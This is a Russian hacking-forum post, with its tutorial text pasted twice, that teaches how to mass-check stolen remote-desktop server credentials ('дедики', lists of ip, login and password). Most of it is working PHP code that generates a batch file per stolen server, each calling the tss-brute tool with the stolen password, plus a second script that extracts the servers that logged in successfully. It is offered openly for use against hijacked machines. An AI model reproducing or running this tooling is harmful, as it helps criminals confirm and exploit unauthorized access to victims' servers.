|qbz|
23.04.2010, 19:11
Кому интересно как массово чекать дедов (1 дед = 1 сек) ? Просто писал об этом недавно статью, запостил в раздел "Статьи". На следующий день стёрли - мол не несет информативной нагрузки. ))
Если наберется норм народу, то снова запостю, а то асю долбят с этим вопросом постоянно с тех пор.
Массово чекаем дедушек [1 дед = 1 сек]
Продолжаем статьи насчет дедов. Вот видел раньше писали многие - "у меня 3 касаря дедов, как мне их прочекать на валид?". Я не придавал этому значения, до тех пор, пока у самого не возникла такая же проблема. Немного подумав, я вспомнил, что есть такая замечательная вещь, как tss-brute. Для чего он может пригодиться в чеке? Он и будет чекером!
Нам надо просто сделать для каждого деда - батничек, в котором будут подставлены его данные аккаунта.
От теории к практике. Нам потребуется:
1) список дедов с определенным синтаксисом записи данных. туго доходит что имеется ввиду? вобщем нужен список дедов НЕ в виде
login:pass ; ip
ip - login,pass
login pass ip port
login;pass;port
а в виде
ip1 - login1;pass1
ip2 - login2;pass2
ip3 - login3;pass3
ip4 - login4;pass4
то есть данные (логин, пасс, ип) дедов должны быть записаны в одинаковом порядке. Это нужно для парсера.
2) нужен скрипт, например на PHP, который создаст нам из данного списка дедов много батничков и еще кое чего.
Чтобы из смешанного списка дедов сделать список, сьедобный для парсера, мы можем воспользоваться программой Notepad++, в которой достаточно выделить весь список с помощью зажатия CTRL+A, потом открыть диалог замены символов с помощью CTRL+R, написать в первом поле находимый символ, а во втором нужный, нажать "Find", а потом "Repalce Rest". Таким образом можно быстро составить нормальный список дедов.
Допустим список готов, и его синтаксис такой:
ip ; login ; pass
Теперь пишем парсер, который сделает все что надо для чека (PHP):
<html>
<form action="" method=post name=chek>
<textarea style="width:100%;height:30%;" name=dediki></textarea><br><br><center><input type=submit value="check"></center><br><br>
</form>
<?php
$dediks=$_POST['dediki'];
$dediks=explode("\n",$dediks);
$i=0;
for ($i=0;$i<count($dediks);$i++)
{
$cd=trim($dediks[$i]);
$cd=explode(";",$cd);
$server=trim($cd[0]);
$login=trim($cd[1]);
$passwd=trim($cd[2]);
// make pswd file
$paswd=fopen("./work/".$server."_passwds.txt","w+");
fputs($paswd,$passwd);
fclose($paswd);
//string to tss
$tss[$i]="start c:\windows\debug\work\\".$server."-tss.bat<br>ping -n 1 -w 1000 1.1.1.1";
//make tss shorcut
$tssc=fopen("./work/".$server."-tss.bat","w+");
fputs($tssc,"c:\windows\debug\\tss-brute.exe -w C:\windows\debug\work\\".$server."_passwds.txt -u ".$login." ".$server." >>c:\windows\debug\goods\\".$server.".txt");
}
foreach($tss as $k => $v)
{
echo($v."<br>\n");
}
?>
</html>
Что он делает? Он берет список дедов (можно вставить в текстовое поле), и для каждого деда создает батник для тсс-брута, но уже только с одним пассом - который написан. Далее создается сам текстовой файл для пасса, далее все записывается в один батник - который будет вызывать эти мини-чекеры. Между каждым дедом идет пауза в 1 секунду - чтобы невызвать чрезмерное количество чекеров и незаглючить комп, на котором это все дело происходит.
Теперь, чтобы все это заработало, нам нужно скинуть данный скрипт куданить на фрихост, там же создать папку ВОРК, поставить на нее chmod 777. В ней и будут все рабочие файлы для чекера. После запуска скрипта, в папке ворк должно появится большое количество файлов командной строки и текстовых файлов (1 тхт = 1 пасс, 1 батник = 1 чекер = 1 дед). Также скрипт выведет на экран код батника, который все это дело организовывает, и который мы будет в последствии запускать. Допустим, мы сохраним этот код в "checker.cmd"
Вы могли заметить, что в скрипте прописан путь для тсс-брута, его папка итд. Без этого никак. В нашем примере это
c:\windows\debug\
там должен лежать тсс-брут, а в папке
c:\windows\debug\work\
должны лежать как раз те файлы, которые появились в нашей папке ворк, после запуска скрипта. (То есть просто их туда скопируйте и все).
Теперь дело за малым, надо просто запустить "checker.cmd". Вот что у нас будет происходить: чекер будет вызывать тсс-брут для каждого деда, причем с указанием единственного пароля - нашего.
Допустим мы прочекали касарь дедов. Теперь заглянем в папку
c:\windows\debug\goods\
Там будет много текстовых файлов с результатами чека. Как же нам проверить - где дохлый дед, а где то, чего мы добивались? Пишем еще скрипт на PHP:
<?php
$subj=opendir("./goods/" . $s);
$i=0;
while ($current_file=readdir($subj))
{if (($current_file !=".") && ($current_file != ".."))
{$threads[$i]=$current_file;$i=$i+1;}}
closedir($subj);
$ii=0;
foreach($threads as $k => $v)
{
$serv=$v;
$serv=trim(str_replace(".txt","",$serv));
$cd="./goods/".trim($v);
$cd=file($cd);
$i=0;
for ($i=0;$i<count($cd);$i++)
{
if (strstr($cd[$i],"- success!"))
{
$nd[$ii]=$serv;
$ii=$ii+1;
}
}
}
foreach($nd as $k => $v)
{
echo($v."<br>");
}
?>
Теперь закидываем его на фрихост, туда же закидываем папку goods, запускаем скрипт и любуемся списком валидных дедов.
P.S.: во время написания статьи автор уже сто лет нечекал дедов, и добавил кое-что к скриптам. Так что если возникнут проблемы - отпишите, попробуем решить.
Если наберется норм народу, то снова запостю, а то асю долбят с этим вопросом постоянно с тех пор.
Массово чекаем дедушек [1 дед = 1 сек]
Продолжаем статьи насчет дедов. Вот видел раньше писали многие - "у меня 3 касаря дедов, как мне их прочекать на валид?". Я не придавал этому значения, до тех пор, пока у самого не возникла такая же проблема. Немного подумав, я вспомнил, что есть такая замечательная вещь, как tss-brute. Для чего он может пригодиться в чеке? Он и будет чекером!
Нам надо просто сделать для каждого деда - батничек, в котором будут подставлены его данные аккаунта.
От теории к практике. Нам потребуется:
1) список дедов с определенным синтаксисом записи данных. туго доходит что имеется ввиду? вобщем нужен список дедов НЕ в виде
login:pass ; ip
ip - login,pass
login pass ip port
login;pass;port
а в виде
ip1 - login1;pass1
ip2 - login2;pass2
ip3 - login3;pass3
ip4 - login4;pass4
то есть данные (логин, пасс, ип) дедов должны быть записаны в одинаковом порядке. Это нужно для парсера.
2) нужен скрипт, например на PHP, который создаст нам из данного списка дедов много батничков и еще кое чего.
Чтобы из смешанного списка дедов сделать список, сьедобный для парсера, мы можем воспользоваться программой Notepad++, в которой достаточно выделить весь список с помощью зажатия CTRL+A, потом открыть диалог замены символов с помощью CTRL+R, написать в первом поле находимый символ, а во втором нужный, нажать "Find", а потом "Repalce Rest". Таким образом можно быстро составить нормальный список дедов.
Допустим список готов, и его синтаксис такой:
ip ; login ; pass
Теперь пишем парсер, который сделает все что надо для чека (PHP):
<html>
<form action="" method=post name=chek>
<textarea style="width:100%;height:30%;" name=dediki></textarea><br><br><center><input type=submit value="check"></center><br><br>
</form>
<?php
$dediks=$_POST['dediki'];
$dediks=explode("\n",$dediks);
$i=0;
for ($i=0;$i<count($dediks);$i++)
{
$cd=trim($dediks[$i]);
$cd=explode(";",$cd);
$server=trim($cd[0]);
$login=trim($cd[1]);
$passwd=trim($cd[2]);
// make pswd file
$paswd=fopen("./work/".$server."_passwds.txt","w+");
fputs($paswd,$passwd);
fclose($paswd);
//string to tss
$tss[$i]="start c:\windows\debug\work\\".$server."-tss.bat<br>ping -n 1 -w 1000 1.1.1.1";
//make tss shorcut
$tssc=fopen("./work/".$server."-tss.bat","w+");
fputs($tssc,"c:\windows\debug\\tss-brute.exe -w C:\windows\debug\work\\".$server."_passwds.txt -u ".$login." ".$server." >>c:\windows\debug\goods\\".$server.".txt");
}
foreach($tss as $k => $v)
{
echo($v."<br>\n");
}
?>
</html>
Что он делает? Он берет список дедов (можно вставить в текстовое поле), и для каждого деда создает батник для тсс-брута, но уже только с одним пассом - который написан. Далее создается сам текстовой файл для пасса, далее все записывается в один батник - который будет вызывать эти мини-чекеры. Между каждым дедом идет пауза в 1 секунду - чтобы невызвать чрезмерное количество чекеров и незаглючить комп, на котором это все дело происходит.
Теперь, чтобы все это заработало, нам нужно скинуть данный скрипт куданить на фрихост, там же создать папку ВОРК, поставить на нее chmod 777. В ней и будут все рабочие файлы для чекера. После запуска скрипта, в папке ворк должно появится большое количество файлов командной строки и текстовых файлов (1 тхт = 1 пасс, 1 батник = 1 чекер = 1 дед). Также скрипт выведет на экран код батника, который все это дело организовывает, и который мы будет в последствии запускать. Допустим, мы сохраним этот код в "checker.cmd"
Вы могли заметить, что в скрипте прописан путь для тсс-брута, его папка итд. Без этого никак. В нашем примере это
c:\windows\debug\
там должен лежать тсс-брут, а в папке
c:\windows\debug\work\
должны лежать как раз те файлы, которые появились в нашей папке ворк, после запуска скрипта. (То есть просто их туда скопируйте и все).
Теперь дело за малым, надо просто запустить "checker.cmd". Вот что у нас будет происходить: чекер будет вызывать тсс-брут для каждого деда, причем с указанием единственного пароля - нашего.
Допустим мы прочекали касарь дедов. Теперь заглянем в папку
c:\windows\debug\goods\
Там будет много текстовых файлов с результатами чека. Как же нам проверить - где дохлый дед, а где то, чего мы добивались? Пишем еще скрипт на PHP:
<?php
$subj=opendir("./goods/" . $s);
$i=0;
while ($current_file=readdir($subj))
{if (($current_file !=".") && ($current_file != ".."))
{$threads[$i]=$current_file;$i=$i+1;}}
closedir($subj);
$ii=0;
foreach($threads as $k => $v)
{
$serv=$v;
$serv=trim(str_replace(".txt","",$serv));
$cd="./goods/".trim($v);
$cd=file($cd);
$i=0;
for ($i=0;$i<count($cd);$i++)
{
if (strstr($cd[$i],"- success!"))
{
$nd[$ii]=$serv;
$ii=$ii+1;
}
}
}
foreach($nd as $k => $v)
{
echo($v."<br>");
}
?>
Теперь закидываем его на фрихост, туда же закидываем папку goods, запускаем скрипт и любуемся списком валидных дедов.
P.S.: во время написания статьи автор уже сто лет нечекал дедов, и добавил кое-что к скриптам. Так что если возникнут проблемы - отпишите, попробуем решить.